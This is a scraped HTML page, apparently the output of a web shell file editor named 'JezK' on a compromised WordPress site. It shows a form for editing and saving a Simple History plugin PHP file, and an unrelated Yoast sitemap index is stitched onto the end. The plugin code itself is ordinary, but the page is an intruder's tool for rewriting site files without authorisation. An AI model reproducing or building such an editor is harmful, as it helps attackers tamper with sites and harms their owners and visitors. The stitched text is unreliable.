
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: class-custom-entry-logger.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace Simple_History\Loggers;

use Simple_History\Event_Details\Event_Details_Group;
use Simple_History\Event_Details\Event_Details_Item;

/**
 * Logger for custom entries added manually through WP-CLI or REST API.
 *
 * Slug: custom_entry_logger
 */
class Custom_Entry_Logger extends Logger {
	/**
	 * Logger slug.
	 *
	 * @var string
	 */
	public $slug = &#039;CustomEntryLogger&#039;;

	/**
	 * Get array with information about this logger.
	 *
	 * @return array Array with logger info.
	 */
	public function get_info() {
		return array(
			&#039;name&#039;        =&gt; _x( &#039;Custom Entry Logger&#039;, &#039;Logger: Custom Entry&#039;, &#039;simple-history&#039; ),
			&#039;description&#039; =&gt; _x( &#039;Logs custom entries added through WP-CLI or REST API&#039;, &#039;Logger: Custom Entry&#039;, &#039;simple-history&#039; ),
			&#039;capability&#039;  =&gt; &#039;edit_pages&#039;,
			&#039;messages&#039;    =&gt; array(
				&#039;custom_entry_added&#039; =&gt; _x( &#039;Added a custom entry: {message}&#039;, &#039;Logger: Custom Entry&#039;, &#039;simple-history&#039; ),
			),
			&#039;labels&#039;      =&gt; [
				&#039;search&#039; =&gt; [
					&#039;label&#039;   =&gt; _x( &#039;Custom entries&#039;, &#039;Custom entry logger: search&#039;, &#039;simple-history&#039; ),
					&#039;options&#039; =&gt; [
						_x( &#039;Custom entry added&#039;, &#039;Custom entry logger: search&#039;, &#039;simple-history&#039; ) =&gt; [
							&#039;custom_entry_added&#039;,
						],
					],
				],
			],
		);
	}

	/**
	 * Get the log row details output,
	 * display the message note in the details area, if it exists.
	 *
	 * @param object $row Log row.
	 * @return Event_Details_Group|null
	 */
	public function get_log_row_details_output( $row ) {
		$context     = $row-&gt;context;
		$message_key = $context[&#039;_message_key&#039;] ?? null;

		// Bail if no message key.
		if ( empty( $message_key ) ) {
			return null;
		}

		if ( empty( $context[&#039;note&#039;] ) ) {
			return null;
		}

		$event_details_group = new Event_Details_Group();
		$event_details_group-&gt;add_item(
			new Event_Details_Item(
				&#039;note&#039;,
				__( &#039;Entry notes&#039;, &#039;simple-history&#039; ),
			)
		);

		return $event_details_group;
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//viverdelicitacao.com/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://viverdelicitacao.com/page-sitemap.xml</loc>
		<lastmod>2025-08-22T16:18:12+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->